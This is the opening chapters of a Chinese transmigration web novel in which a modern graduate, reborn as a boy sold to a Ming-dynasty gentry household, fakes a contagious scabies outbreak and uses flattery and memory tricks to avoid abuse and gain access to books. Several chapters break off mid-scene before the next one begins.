《寒门状元:我的大脑通古今》
第1章开局地狱,鸾童?照脸打回去!
“砰!”
后脑勺炸裂般的剧痛,将苏惟瑾从混沌中硬生生拽醒。
那不是普通的疼,
像是脑浆被搅成了一锅滚烫的粥,
每一次心跳都加剧着颅内的灼烧和压迫。
无数陌生的记忆碎片,
更如同决堤的洪水,
蛮横地冲撞着他的意识。
大明,嘉靖元年二月,南直隶沭阳县。
苏小九,军户旁支遗孤,父母早亡,爷爷十天前刚咽气。
尸骨未寒,两个亲叔伯苏有才、苏有德便做局,
以十两银子的价钱,
将他卖给了同县富户张家的少爷张诚做“书童”。
书童?
记忆里那个肥头大耳、
眼神淫邪的张家少爷张诚,
是县城里出了名的纨绔,
尤其喜好凌虐清秀少年!
所谓的“书童”,不过是块遮羞布,
实则是任其玩弄的“鸾童”!
原主性子刚烈,被拖进这柴房后,
不甘受辱,趁看守不备,
一头撞在房柱上,宁死不从。
“我……操!”
苏惟瑾猛地睁开眼,
吸入的却是混杂着霉味、
腐草和血腥气的浑浊空气,
呛得他一阵剧烈咳嗽,
牵动着全身无处不痛的神经。
985高校卷王,刚通宵肝完毕业论文,
眼一闭一睁,竟从社会主义接班人,
变成了大明嘉靖年间即将失身的……鸾童?!
这开局,简直是十八层地狱豪华套餐!
“吱呀——”
柴房那扇破旧的木门被推开,
刺眼的阳光勾勒出一个壮硕的身影。
来人身穿灰色家丁服,满脸横肉,
三角眼闪烁着猥琐而凶戾的光。
张奎!
张诚的头号狗腿子,
原主没少挨他的拳脚。
“哟嗬?小杂种命挺硬啊?
撞成那样都没去见阎王?”
张奎堵在门口,双手抱胸,
戏谑地打量着蜷缩在干草堆里、
狼狈不堪的苏惟瑾,
语气充满了轻蔑。
“也好,省得少爷扫兴。
没死就赶紧滚起来,拾掇拾掇,
晚上乖乖去伺候少爷!”
说着,他啐了一口唾沫,
大步逼近,那双脏兮兮的爪子径直抓向苏惟瑾的衣领,
准备像拖死狗一样把他拖出去。
死亡的威胁和极致的屈辱,
如同冰水浇头,
反而让苏惟瑾的大脑瞬间进入了某种奇异的状态——超频!
来自现代的高等教育知识体系、
逻辑思维能力和危机处理本能被瞬间激活、清晰无比。
硬抗?
这重伤虚弱的身体,不够张奎一巴掌拍的。
哀求?
原主的血岂不是白流了?
尊严何在?
唯有智取!
攻心为上!
就在那令人作呕的手
即将触碰到脖颈的瞬间,
苏惟瑾猛地抬起头。
他的脸色苍白如纸,
额角凝结着骇人的紫黑色血痂,
嘴唇干裂出血。
但那双原本应充满恐惧或绝望的眼睛,
此刻却亮得惊人,
胜似寒潭深水,冰冷、平静,
甚至带着一丝……嘲弄?
这反常的眼神,
让凶悍的张奎动作下意识地一顿。
“奎爷,”
苏惟瑾开口了,声音因虚弱而沙哑,
却异常清晰,带着一种与年龄和处境完全不符的镇定。
“你是想挨少爷的鞭子,
还是想领少爷的赏钱?”
张奎一愣,随即勃然作色:
“小畜生!你撞柱子把脑子撞傻了?
敢跟你奎爷故弄玄虚?!”
他扬手就要打。
“少爷的癖好,奎爷你比我清楚。”
苏惟瑾不闪不避,语速平稳,
却字字如针,精准地扎向张奎最在意的地方。
“他就喜欢玩‘驯服’的调调,
越烈的马,骑起来越有劲,对不对?
但前提是,这马得是活的,能尥蹶子的!”
张奎举到半空的手僵住了,
脸上横肉抽搐。
张家少爷那点变态爱好,他再清楚不过。
“你看看我现在,”
苏惟瑾扯出一个近乎残忍的冷笑,
指了指自己额头的伤和污秽的衣衫。
“路都走不稳,浑身血污腥臭,半死不活。
你就这么把我拖到少爷面前,
是诚心给少爷添堵,倒他的胃口吗?”
他顿了顿,盯着张奎闪烁不定的眼睛,
声音压低,却更具穿透力:
“少爷正在兴头上,
期待的是个带刺的新鲜玩意儿,
可不是一具还能喘气的尸体!
你让他不痛快了,以少爷的脾气,
你这身肥肉,够挨几鞭子?”
张奎的脸色变了。
他仿佛已经看到了张诚暴怒抽鞭子的场景,
后背下意识地一凉。
苏惟瑾乘胜追击,抛出了诱饵:
“给我打盆清水,找身干净衣服。
让我把自己收拾得像个人样。
精神头足了,
在少爷面前才能‘演’得精彩,
少爷玩得尽兴了,
手指缝里漏出来的赏钱,
还能少了你奎爷的好处?”
他最后轻飘飘地补了一刀,
彻底击溃了张奎的心理防线:
“还是说,奎爷你就这么急着找不自在,
宁可挨鞭子,也要跟白花花的赏钱过不去?”
风险与收益,一目了然。
张奎脸上的凶戾彻底被犹豫和算计取代。
他上下打量着苏惟瑾,
虽然狼狈,但底子确实清秀,
收拾干净了,绝对是少爷喜欢的类型。
要是真因为自己的莽撞坏了少爷兴致,那可就……
“啧,小……你小子,
他妈的长了张巧嘴!”
张奎悻悻地放下手,
语气软了下来,
甚至还带着一丝自己都没察觉的商量口吻。
“早这么明白事理,何苦受这罪?”
第2章急智疥遁,恶奴吓破胆
柴房里,苏惟瑾刚把最后一口混杂着血沫的杂粮饼艰难咽下,
那粗糙的饼渣划过喉咙,
带来一丝真实的饱腹感,
也稍稍驱散了部分寒意。
还没等他缓过气,
门外那熟悉的、似如催命鼓点般的沉重脚步声去而复返!
“哐当!”
柴房门被再次粗暴地踹开,
下一秒差一点就要散架。
张奎那张横肉堆积的脸重新堵死了门口的光线,
他手里拎着一套灰扑扑、
打着补丁的下人衣服,
脸上写满了不耐烦和戾气。
“小崽子!水跟衣服撂这儿了!
麻溜点给自己拾掇干净!”
张奎把一只盛着清水的破木盆和衣服重重往地上一墩,
水花四溅,混入地上的尘土。
“少爷那边已经等得不耐烦了!
别给脸不要脸!”
苏惟瑾心里怒骂,面上却不敢显露。
他挣扎着想要依言站起,
但故意让虚浮的双腿一软,
整个人“噗通”一声摔回干草堆里,
发出一声痛苦又虚弱的闷哼,
身体还因“剧痛”而微微抽搐。
示弱,是麻痹敌人的最佳手段。
张奎见状,嫌恶地“呸”了一口:
“没用的东西!装什么死狗!
难道还要你奎爷亲手给你擦洗换衣不成?”
他嘴上骂着,却也没真上前,
只是用脚尖不耐烦地踢了踢地上的木盆,
示意苏惟瑾快点。
苏惟瑾喘着粗气,
脸上做出强忍痛苦的表情,
慢慢朝着木盆爬去。
就在他的指尖即将触碰到那冰凉的清水时,
超频的大脑在电光石火间捕捉到了一个极其大胆、
却可能是唯一生路的计划——装病!
而且要装一种能让张诚那种有洁癖的变态纨绔瞬间倒尽胃口、
避之唯恐不及的“传染病”!
时机稍纵即逝!
就在张奎等得不耐烦,
眉头拧成疙瘩,
似乎真要上前动手扒衣服的瞬间——
“呃啊——!!!!”
苏惟瑾突然毫无征兆地发出一声凄厉至极的惨叫!
这叫声完全不似作假,
充满了撕心裂肺的痛苦,
吓得张奎浑身一个激灵,
刚迈出的半步硬生生缩了回去。
只见苏惟瑾猛地蜷缩成一团,
双手死死抠住自己的腹部,
俨然似有什么东西在里面钻咬!
他的整张脸瞬间扭曲变形,
额头上刚刚凝结的血痂因这剧烈的表情动作而崩裂,
渗出血丝,混着瞬间冒出的冷汗往下淌,
看起来恐怖异常。
“痛!好痛!!
奎、奎爷……救…救我啊……”
苏惟瑾的声音断断续续,
充满了绝望的颤音,
在空旷的柴房里回荡,格外瘆人。
张奎被这突如其来的一幕搞懵了,
色厉内荏地喝道:
“小杂种!
你…你他妈又耍什么花样?!
想吓唬你奎爷?!”
苏惟瑾根本不接话,
只是抱着肚子在干草堆里疯狂打滚,
力气大得仿佛不像个重伤之人,
草屑纷飞。
他一边翻滚,一边用充满极致恐惧的声音嘶嚎:
“是…是那个!
它…它又找上我了!
完了!这次真的完了!”
他突然像是看到了什么极其可怕的东西,
猛地手脚并用缩到离张奎最远的墙角,
眼神里充满了极致的惊恐,
还有一种诡异的、明显在为对方着想的急切,尖声道:
“别过来!奎爷你别过来!
沾上就完了!
这…这东西‘过人’(传染)啊!!”
“过…过人?”
张奎听到这两个字,
头皮瞬间一麻!
他虽然是恶奴,横行乡里,
但对这种看不见摸不着的“病气”有着本能的恐惧。
再看苏惟瑾那状若疯魔、
浑身脏污血汗的样子,
心里顿时信了七八分,
声音都带上了一丝不易察觉的颤抖:
“什…什么鬼东西?
说清楚!什么还过人!”
苏惟瑾蜷缩在墙角,瑟瑟发抖,
声音压得极低,
却带着一种讲述恐怖秘闻的诡秘感:
“是…是‘千日疥’!
最毒最凶的那种‘恶疥’!
我们村老郎中说…
说是沾上皮肉就生根,
又痒又痛,流脓淌水,烂皮烂肉,
没有三年五载好不利索!”
他猛地将自己破烂的袖子撸起,
露出胳膊上撞柱的擦伤和原有的污垢,
在昏暗光线下,那片皮肤看着确实红肿可疑:
“我…我小时候就得过!
我爷花了半辈子的积蓄,
求爷爷告奶奶才勉强压下去…
郎中说这病根除不了,
一辈子不能见湿气,
不能受大惊吓,否则必定复发…
比之前更凶十倍!
刚才那一撞…完了…
肯定把脓包撞破了…”
为了将恐惧最大化,
苏惟瑾立刻开始疯狂输出令人毛骨悚然的细节,
夹杂着半真半假的现代医学名词进行降维打击:
“奎爷您看!这红疹子!
这底下全是密密麻麻的脓疱!
一抓就破,流出来的黄水腥臭无比,
沾到哪烂到哪!
像…像看不见的小虫子往里钻!
郎中说这叫…叫‘疥螨’,
对!就是螨虫!
成千上万,在皮底下打洞、产卵!
痒起来能让人把自己挠得见到骨头!”
他一边说,一边身体剧烈地扭动,
双手在空中胡乱挥舞,
却又极力克制着不去触碰身体,
表现出一种痒到极致却不能挠的非人痛苦:
“不能挠…越挠虫爬得越快…
钻得越深…完了…
我感觉它们已经爬到全身了…
奎爷您快离远点!
这病凶得很!
第3章 柴房思策,知识是第一生产力
外面传来落锁的“咔嚓”声,
以及张奎那几乎是小跑着逃离的、
慌乱失措的脚步声。
听着那脚步声仓皇远去,
柴房内的苏惟瑾瞬间停止了所有表演。
他瘫软在草堆上,大口大口地喘着粗气,
整个人如同刚从水里捞出来,
冷汗已经浸透了单薄的衣衫。
大脑超频状态褪去,强烈的虚弱感和头痛再次袭来。
但这一次,他嘴角却勾起了一抹劫后余生的冰冷弧度。
疥遁计划,成功!
他不仅暂时避免了今晚的厄运,
更是用智慧和演技,
将嚣张不可一世的恶奴张奎吓得屁滚尿流,
这种精神上的反击和碾压,
带来一种难以言喻的快意!
然而,危机并未解除。
管家才是更老练的角色。
苏惟瑾不敢有丝毫放松,
他必须利用这宝贵的喘息时间,
思考下一步对策。
科举功名是长远目标,
眼下,如何应对即将到来的管家核查,才是生死考验。
他耳朵微动,捕捉着门外的一切声响,
像一头受伤却更加警觉的幼狼,
在绝境中磨砺着爪牙。
活下去,然后,狠狠报复回来!
柴门外,压抑的交谈声像毒蛇吐信,丝丝钻进苏惟瑾的耳朵。
“千日疥?还他妈疥螨?
张奎,你脑袋里灌的是不是夜香?
这种屁话也信?!”
一个尖细刻薄的嗓音响起,
充满了怀疑和不耐烦,
显然是那位刘管家。
“刘管家!千真万确!”
张奎的声音带着未散的惊惶,
急切地辩解。
“那小子说得有板有眼!
什么流脓淌水,皮底下有小虫打洞产卵……
您没亲眼看见,
他那模样,简直不像个人了!
万一……万一要是真的,
把病气过给了少爷,
咱们……咱们可都吃不了兜着走啊!”
“废物点心!”
刘管家低声骂了一句。
随即,柴房门上那个破洞处,
似乎有一道阴冷的目光扫了进来。
苏惟瑾心中警铃大作,
立刻全力运转“演技”!
他喉咙里发出更加痛苦、
压抑的嘶哑呻吟,
身体剧烈地痉挛抽搐,
显然正承受着非人的折磨。
他还故意将草屑和手上的血污蹭在脸上、
脖颈等显眼处,
在昏暗的光线下营造出一种“病情急速恶化”、
“秽物横流”的恐怖视觉效果。
门外的刘管家显然看到了这“精彩”的表演,
嫌恶地“啧”了一声,
迅速移开了目光。
宁可信其有,不可信其无!
少爷是张家的命根子,
真出了差池,他一百个脑袋也不够砍。
“晦气!真他娘的晦气!”
刘管家的语气软化了,
但带着烦躁。
“先把这瘟神关严实了!
去,找个靠谱的郎中来瞧瞧!
记住,找个嘴严的!
少爷那边我去回话,
就说……这小子撞狠了,
邪风入体,人事不省,
得隔离将养几天,免得过了病气!”
“哎!是是是!管家您高明!
我这就去!”
张奎如蒙大赦,忙不迭地奉承,脚步声仓皇远去。
“咔嚓!”
比之前更沉重的锁链声落下,
柴房再次沦为密闭的囚笼。
听着脚步声远去,
苏惟瑾像一张被拉满后骤然松弛的弓,
彻底瘫在草堆上,浑身骨头缝都透着酸软和剧痛。
冷汗早已浸透残破的衣衫,冰冷的贴在皮肤上。
但他知道,这只是喘息之机,而非安全。
郎中就像一颗定时炸弹,
谎言随时可能被戳穿!
必须在有限的时间里,
找到真正的破局之法!
绝望如同冰冷的潮水,
试图将他吞噬。
武力?财力?
人脉?权势?
一圈盘点下来,
他发现自己真正是“四无人员”,
处境比想象的更绝望。
然而,就在这极致的黑暗与压抑中,
来自现代的灵魂,
那颗经过信息爆炸时代锤炼、
具备超强逻辑分析和知识整合能力的大脑,
骤然迸发出锐利的光芒!
“不!老子不是一无所有!”
他猛地攥紧拳头,
指甲深深掐入掌心,
用疼痛刺激自己保持清醒。
眼睛在黑暗中亮得骇人。
“我这个脑子……才是最大的金矿!”
超越时代近五百年的知识体系!
高效的学习方法论!
批判性思维逻辑!
海量跨学科的认知储备!
这才是他逆天改命的唯一武器!
知识,就是第一生产力!
在这个万般皆下品、
唯有读书高的时代,更是如此!
思路豁然开朗!
他迅速调动历史知识:
嘉靖皇帝即位初期,
通过“大礼议”打击旧臣,
正需培植新势力,
科举是寒门跃龙门的关键通道!
这是他最大的时代机遇!
但拦路虎依然是那个死局——奴籍!
大明律法森严,奴仆参考科举,难于登天!
除非……李代桃僵!
一个极其大胆、险中求胜的计划雏形,
在他超频的大脑中飞速构建、推演:
张诚!那个不学无术的草包少爷!
张家有“陪读”之名,行“娈童”之实。
何不将计就计?
第一步:假意顺从,先保住性命,消除张家的戒心。
第二步:利用张家那点“附庸风雅”的心思,主动展现“读书”的价值。
他可以成为一个“超级陪读”
——“刻苦钻研”只为更好地“辅导”少爷功课。
以张诚的惰性,必定会将学业杂事全推给他。
第4章 恶奴再来,巧言惑管家
柴房里的霉味与血腥气尚未散尽,
苏惟瑾脑中已推演了数种与管家交锋的可能。
没让他等太久,
门外便响起了一阵刻意放轻、
却带着拿腔拿调意味的脚步声,
与张奎的粗重截然不同。
钥匙哗啦作响,锁头被打开时透着一股不耐烦的力道。
“吱呀——”
门被推开,一个穿着藏青色细布长衫、
头戴瓜皮小帽、留着两撇油滑老鼠须的中年男人堵在门口。
他用一方雪白的手帕死死捂着口鼻,
仿似柴房里的空气都带着毒。
小眼睛里闪烁着精明的算计和毫不掩饰的嫌恶,
正是张府管家,张福。
张福根本没打算踏进这“污秽之地”,
就站在门外的光亮处,
似如审视一件破损的货物般,
居高临下地打量着蜷缩在阴影里的苏惟瑾。
尖细的嗓音拖得老长,充满了讥讽:
“呵,就是你这小孽障?
撞柱子没死成,
又编排出什么‘千日疥’的鬼话来唬人?
怎么,我们张家的米粮,
就养出你这么个浑身是戏的白眼狼?”
来了!真正的考验!
苏惟瑾心头一凛,
但超频大脑瞬间压下所有杂念,
进入“表演状态”。
他挣扎着,用一种极度虚弱又饱含巨大恐惧的姿态,
几乎是连滚带爬地扑到张福脚前不远处
——一个既能显示卑微,又不会立刻引起对方警觉后退的距离。
“咚!”
额头结结实实磕在冰冷的地面上,
发出沉闷的响声。
“福管家!福爷!
小的知错了!小的罪该万死!”
苏惟瑾抬起头时,
已是泪流满面(努力挤压泪腺的结果),
声音哽咽,充满了追悔莫及的痛楚。
“小的昨日是猪油蒙了心,
被鬼迷了心窍,才做出那等糊涂事啊!”
这突如其来的痛哭流涕和认罪,
让准备狠狠敲打他的张福愣了一下,
捂着嘴的手帕都忘了扇风。
苏惟瑾根本不给他思考的时间,
继续“情真意切”地哭诉,开始上价值:
“小的昏死过去那一阵,
像是真去阴曹地府走了一遭!
见了阎王爷,被牛头马面拿烧红的烙铁烫醒了糊涂脑子!”
他适时地露出惊恐万状的表情,
指着自己额头的伤。
“阎王爷叱骂小的不识抬举!
说能被卖进张家伺候少爷,
那是祖坟冒青烟都求不来的福分!
小的竟敢寻死?
简直是不知好歹,
合该打入十八层地狱,
永世不得超生!”
这套鬼神之说,对当下之人极具震慑力。
张福脸上的怒容消减了些,
转而变成一种将信将疑的审视,
老鼠须微微抖动:
“哦?阎王爷都惊动了?
那你倒是说说,现在可想明白了?”
“想明白了!彻彻底底想明白了!”
苏惟瑾赌咒发誓,语气斩钉截铁。
“小的这条贱命,
从今往后就是少爷的,就是张家的!
少爷就是小的的天!
只求福爷您大人有大量,
再给小的一个将功赎罪的机会!”
态度卑微诚恳到了极点。
张福狐疑地盯着他,
重点依然在“病”上:
“嘴上说得好听!
那要人命的‘千日疥’呢?
也是阎王爷收走了?”
苏惟瑾脸上立刻浮现出恰到好处的“羞愧”与“后怕”:
“回福爷的话……
兴许是阎王爷惩戒过后,
见小的诚心悔过,暂时收了神通?
身上……身上是松快了些许,
但郎中说此病根深蒂固,
最怕反复,必须仔细将养些时日,
彻底根除方可啊!”
他话锋猛地一转,
语气变得无比“忧心忡忡”和“深明大义”,
句句不离主家利益:
“福爷!小的死不足惜!
可万万不能因小失大啊!
少爷是何等金贵的人物?
文曲星下凡!
小的如今病体残躯,污秽不堪,
若是不慎将一丝半点的病气过给了少爷,
那……那小的就是被千刀万剐,
也难赎其罪于万一!”
这话直接戳中了张福最大的顾虑,
他下意识地点了点头。
苏惟瑾趁热打铁,
开始抛出精心准备的核心论点,
进行“知识降维打击”:
“福爷,您再往深里想。
少爷将来是要读书进学,
考取功名,光宗耀祖的!
读书人最重什么?
重风雅,重体面!
便是身边伺候的书童,
若是个蠢笨如牛、目不识丁、
规矩不懂的粗坯,
将来如何在书房伺候笔墨?
若是在少爷的同窗好友面前失仪,
丢的是谁的脸面?
损的是谁的声誉?”
他观察着张福渐渐凝重的神色,
给出了最终,也是最具诱惑力的解决方案,
语气“诚恳”而“充满憧憬”:
“福爷,小的斗胆求您个恩典。
求您让小的先安心将养几日,
彻底除了病根。
之后,能否赏小的一个机会,
让小的去书房院外围做个洒扫书童?
小的不敢奢望立刻近身伺候少爷,
只求能有机会耳濡目染,
学点规矩,认几个大字!
哪怕只能为少爷清扫书径,
擦拭桌案,磨墨备纸,
小的也必定竭尽所能,用心学习!
只为将来能成为一个对少爷、
对张家真正‘有用’的人,
而不是一个只会吃饭惹事的废物!”
他再次重重磕头,
声音带着哭腔却异常清晰:
“求福爷成全小的这片报效之心!”
柴房里陷入短暂的寂静,
只有苏惟瑾“激动”的喘息声。
第5章 书房初窥,智夺启蒙书
几天后,一个药箱上刻着“济世堂”、
留着稀疏山羊胡的老郎中,
被张奎骂骂咧咧地拽进了柴房。
“赶紧瞅瞅!死了没?
没死就赶紧滚出来干活!”
张奎在一旁抱着胳膊,满脸不耐。
老郎中捏着鼻子,
草草捏了捏苏惟瑾的腕脉,
又像扒拉垃圾似的检查了下他额角的伤和胳膊上的污迹,
浑浊的老眼满是嫌弃。
“虚劳体弱,外感风寒,头破皮肉伤!”
老郎中甩开手,仿佛怕沾上穷气。
“开两副最便宜的清热汤药便是!
什么千日疥?无稽之谈!
就是腌臜不洁,生了热痱!”
张奎一听,顿时火冒三丈,
感觉自己被耍了,
恶狠狠地剜了苏惟瑾一眼,
恨不得立刻动手。
苏惟瑾心中冷笑,
这郎中果然敷衍。
但他要的就是这“无大碍”的诊断!
他立刻憋出几声撕心裂肺的咳嗽,
身子抖得如同秋风中的落叶,
显得那“风寒”异常凶猛。
最终,在苏惟瑾持续的“病弱”表演
和郎中“吃两副药就好”的保证下,
管家张福虽满心怀疑,
却也懒得再纠缠,
挥手让两个粗使婆子
将苏惟瑾扔进了后院一间堆放杂物的破屋,
算是“隔离将养”。
又熬了两天,见苏惟瑾确实没再“发作”,
也能勉强走动,张福便履行了那点可怜的“承诺”,
让张奎将他提溜到了书房院落。
这张家书房,坐落于宅院相对僻静的一角,
三间青瓦房,看似窗明几净,
实则透着一股附庸风雅的虚假气息。
院中一棵老槐树,
树下石桌石凳落满枯叶。
苏惟瑾的工作卑微至极:
清扫院落,擦拭书房外间的窗台桌椅,
严禁踏入里间,更不许触碰任何书籍。
近身伺候少爷笔墨?
那是识字小厮的活儿,与他无关。
苏惟瑾低眉顺眼地接过比自己还高的扫帚,
心中却澎湃如潮!
他的眼睛如同最精密的雷达,
透过敞开的窗扇,贪婪地扫视着里间书架。
《四书章句集注》、《大学衍义》、《资治通鉴纲目》……
多是科举基础典籍。
角落里还有些医书、农书。
书籍蒙着薄尘,显然主人并不常临。
但对他而言,这无疑是座亟待挖掘的金矿!
他强压激动,
默默将书名、位置刻入超频大脑,
手下扫帚挥动,耳朵却竖得像猎犬,
捕捉着一切声响。
下午,阳光慵懒,院子里一片寂静。
突然,一阵拖拉的脚步声和抱怨声打破了宁静。
“烦死了!小翠还等着本少爷呢……
非逼我来这鬼地方……”
声音的主人肥头大耳,眼下乌青,
穿着绸缎却掩不住一身纨绔气,
正是张诚。
他被老仆和两个小厮半推半请地弄进了书房外间。
“少爷,老爷吩咐了,
您今儿个好歹得……
坐够半个时辰,
书……书得摸一下。”
老仆一脸苦相。
张诚像一滩烂泥般瘫在太师椅里,
抓起桌上那本唯一的蓝皮书狠狠一摔:
“摸个屁!这些字它认识我,我不认识它!”
但他终究惧怕严父,
磨蹭半天,还是极不情愿地拿起书,
翻开,装模作样地哼哼:
“人…人…之初,
性…性…本…善……
性…性相…相…”
卡在“相近”二字上,脸憋得通红。
旁边的小厮忍俊不禁,又赶紧低头。
窗外,正假装擦拭窗台的苏惟瑾,
心脏狂跳!《三字经》!
蒙学基石!机会来了!
当张诚再次卡壳,
恼羞成怒地准备摔书时,
苏惟瑾宛如是无意识地,
一边用力擦拭窗棂,
一边用极低却清晰、
恰好能传入室内的声音,
喃喃自语般接了下句:
“……性相近,习相远……”
声音很轻,但在张诚磕巴的朗读间隙中,如同惊雷!
张诚的哼唧声戛然而止!
他猛地抬头,肥胖的脸上先是茫然,
随即迅速被暴怒取代!
他读书出丑,
竟被一个最低贱的洒扫奴仆听了去?
还敢接话?!
“哪个狗奴才在外面放屁?!”
张诚“腾”地站起,
像一头被激怒的野猪冲到门口,
手指几乎戳到苏惟瑾鼻尖上,
唾沫横飞。
“刚才是你嚼蛆?!找死吗!”
院内瞬间死寂,所有目光都聚焦过来,
有幸灾乐祸,有同情,更多的是看热闹不嫌事大。
苏惟瑾仿佛被吓傻了,
手中抹布“啪嗒”掉落,
脸色“唰”地惨白如纸,
浑身抖若筛糠,噗通跪倒,磕头如捣蒜:
“少爷息怒!少爷饶命!
小人该死!小人不是故意的!”
他声音带着哭腔,
语无伦次,却巧妙地将关键信息抛出。
“小人……小人乡下爷爷在世时,
胡乱教过几个字……
刚才听少爷诵读,声若洪钟,
只是……只是有个别字音,
听着像爷爷当年教的……
小人嘴贱,没管住……
求少爷开恩啊!”
先认罪,再隐晦拍马(声若洪钟),
最后甩锅给死无对证的“爷爷”和“耳熟”,
逻辑清晰,姿态卑微到尘埃里。
张诚的怒气被这通哭诉打断了一下。
这奴才居然识字?
但重点是他丢了大脸!
“耳熟?老子看你是皮子紧痒了!”
他抬脚欲踹,又嫌恶地收回(怕脏了新靴子)。
“认得几个字就想上天?
敢看本少爷笑话?!”
苏惟瑾猛磕头,额前见红,
声音凄厉却抛出了精心设计的“惩罚”:
第6章 过目不忘,一夜诵千文
破屋的木板门吱呀一声关上,
隔绝了外面世界的喧嚣与恶意。
傍晚昏黄的光线从墙壁的裂缝和窗户的破洞艰难地挤进来,
在布满灰尘的空气里切出几道斜斜的光柱。
苏惟瑾背靠着门板,
缓缓滑坐到冰冷的地面上,
急促的呼吸渐渐平复。
他低头,目光灼灼地盯着怀里那本蓝皮册子——《三字经》。
薄薄的一本,拿在手里轻飘飘的,
却仿佛有千钧重。
这不是书,这是钥匙!
是砸碎他身上枷锁的第一把钥匙!
是通往那个波澜壮阔未来的起点!
他小心翼翼地将书放在相对干净些的膝头,
像是抚摸绝世珍宝般,
轻轻拂去封面上并不存在的灰尘。
深吸一口气,带着一种近乎虔诚的仪式感,翻开了第一页。
“人之初,性本善。性相近,习相远…”
熟悉的文字映入眼帘。
作为现代高材生,
他当然知道《三字经》,
甚至能背个大概。
但此刻,意义完全不同。
这不是兴趣班的选修课,
这是安身立命的根本,是厮杀的武器!
超频大脑,启动!
几乎在目光接触到文字的瞬间,
他的大脑就化作最高效的扫描仪和处理器开始联合工作。
视觉神经捕捉到的字符被迅速转化为神经信号,
以前所未有的速度在神经网络中穿梭、归档、建立连接。
现代高效记忆法——记忆宫殿,自动构建!
他闭上眼睛,意识仿佛沉入一片虚无。
接着,一座宏伟宫殿的虚影缓缓浮现。
宫殿的廊柱上,
刻满了“人”、“之”、“初”…
每一个字都闪烁着微光,
按照特定的顺序排列。
走廊两旁的房间里,
存放着的不再是简单的文字,
而是与之相关的图像、故事、甚至声音和气味!
“性本善”
——房间里浮现的是孟子“孺子入井”的生动画面,
夹杂着现代心理学关于婴儿共情能力的实验数据碎片。
“习相远”
——房间里则对比着孟母三迁和犯罪心理学中环境影响的案例…
“苟不教,性乃迁”
——则关联了教育心理学的重要性和古代训蒙典故…
这不仅仅是死记硬背!
这是理解性记忆,
是知识网络的瞬间编织!
现代学术对古代经典的考据、义理研究成果,
如同被激活的隐藏数据库,
随着原文的展开自动浮现,
让他对每一句的理解都远超这个时代的蒙童,甚至超越许多腐儒!
他翻页的速度越来越快,
眼神专注得吓人,
瞳孔里倒映着跳跃的文字,
仿佛有两簇火焰在燃烧。
外界的一切,时间的流逝,
身体的饥饿和疲惫,都被彻底隔绝。
油灯?不需要。
月光?多余。
他那超频的大脑就是最好的探照灯,
将每一个字都照得通透亮堂。
不过一刻钟,
整本《三字经》已被他“扫描”录入完毕,
深深刻入记忆宫殿最醒目的大殿之中。
但他没有停止。
他开始反复“游览”宫殿,巩固记忆。
不仅仅是背诵,更是在思考,在批判,在联系。
“三纲者,君臣义,父子亲,夫妇顺…”
——意识停留在这句,
现代的灵魂让他本能地对这种绝对的等级规范产生质疑。
但他立刻压下了批判,
转而分析其产生的时代背景(汉代董仲舒),
思考它在明代社会结构中的具体体现和维护统治的逻辑所在。
有用的知识,未必是喜欢的知识,
但必须是理解和掌握的知识。
“稻粱菽,麦黍稷,此六谷,人所食…”
——农业知识?
很好,结合现代基础农业常识,
他能立刻分辨出其中作物的分类和主要产区,
甚至能想到如何优化种植的模糊念头。
“唐刘晏,方七岁,举神童,作正字…”
——神童?科举?
他的心跳微微加速。
这就是他将要走的路!
大脑自动检索关于唐代科举制和刘晏生平的记忆碎片…
夜渐深,破屋寒冷刺骨。
苏惟瑾却浑然未觉,
全身滚烫,精神处于一种极度亢奋的状态。
他找来那支秃头毛笔和粗糙草纸,
就着漏进来的微弱月光,开始抄写。
毛笔字写得歪歪扭扭,形如蚯蚓爬,
毕竟原主没练过,
现代的他更只玩过钢笔。
但这不重要!
重要的是通过书写进一步强化记忆,
更重要的是——完成任务!
二十遍?
不,凭着非人的速度和耐力,
在天边泛起鱼肚白时,
他足足抄写了三十遍!
手腕酸胀得几乎抬不起来,
眼皮沉重如铁,
但大脑却依旧清明,
整本《三字经》连同其扩展知识库,
已如同呼吸般自然烙印在脑海深处。
第二天下午,估摸着张诚该睡醒晃悠过来了,
苏惟瑾才拿着那叠厚厚的、
字迹丑陋却工工整整的抄写纸,
提前候在书房院子的角落。
果然,日上三竿,张诚才打着哈欠,
被小厮们前呼后拥地踱步过来,
脸上还带着宿醉的惺忪。
他早把罚人抄书的事忘到九霄云外了。
苏惟瑾瞅准机会,快步上前,扑通跪下,
双手高高举起那叠纸,声音恭敬又带着恰到好处的疲惫:
“少爷,小人奉命,
已将《三字经》抄写完毕,请少爷过目。”
张诚被吓了一跳,
待看清是苏惟瑾和他手里那叠厚厚的纸,
才依稀想起好像是有这么回事。
他嫌恶地瞥了一眼那丑陋的字迹,
根本没接的兴趣,
不耐烦地挥挥手:
“滚滚滚!抄完了就滚!碍眼的东西!”
旁边的小厮发出窃笑。
苏惟瑾却不起身,
反而继续低着头,
像是自言自语又像是无比顺溜地念叨,
声音清晰足以让周围人都听见:
“小人谢少爷赏罚。
通过抄写,小人深感此书微言大义,受益匪浅。
‘人之初,性本善,性相近,习相远。
第7章 后山采蕨遇危童,现代急救显奇效
日子在张家高墙内缓慢而压抑地流逝。
苏惟瑾白日里在书房院落洒扫,
如同一个透明的影子,
晚上则蜷缩在破屋,
就着微弱的光亮,
将脑海中那座“知识宫殿”不断加固、拓展。
超频大脑带来的学习效率惊人,
但对能量的消耗也同样恐怖。
张家下人的伙食本就清汤寡水,
对他这正在长身体又极度用脑的少年来说,
无异于杯水车薪。
饥饿,成了比寒冷更刺骨的折磨。
这日午后,估摸着张诚少爷正沉溺于温柔乡无暇他顾,
苏惟瑾跟院里一个面相憨厚的老仆支吾了一声,
揣上那把钝口小刀和一个破布袋,
熟门熟路地溜到了张家宅院后的山林。
山风带着草木清香拂面,
稍稍驱散了脑中的晕眩。
他猫着腰,目光如鹰隼般扫视地面,
搜寻着任何可食用的野菜、蕨根。
生存的本能,让他的感官变得格外敏锐。
就在他专注于挖掘一株肥硕的蕨根时,
一阵撕心裂肺的哭喊声猛地刺破山间的宁静!
“狗蛋!我的儿啊!你醒醒!别吓娘啊——!”
“快来人啊!救命啊!出人命了!”
超频大脑瞬间进入高度警戒状态!
求救声,距离不远,情况危急!
苏惟瑾毫不犹豫扔下刚挖到一半的蕨根,
像一头矫健的幼豹,循声狂奔!
穿过一片茂密的灌木,
眼前是一小片林间空地。
一个衣衫褴褛、发髻散乱的农妇瘫坐在地,
怀中紧抱着一个约莫五六岁的男童,哭声绝望。
旁边围着几个同样在山中劳作妇人,
个个面色惶急,手足无措,
只能跟着抹泪叹息。
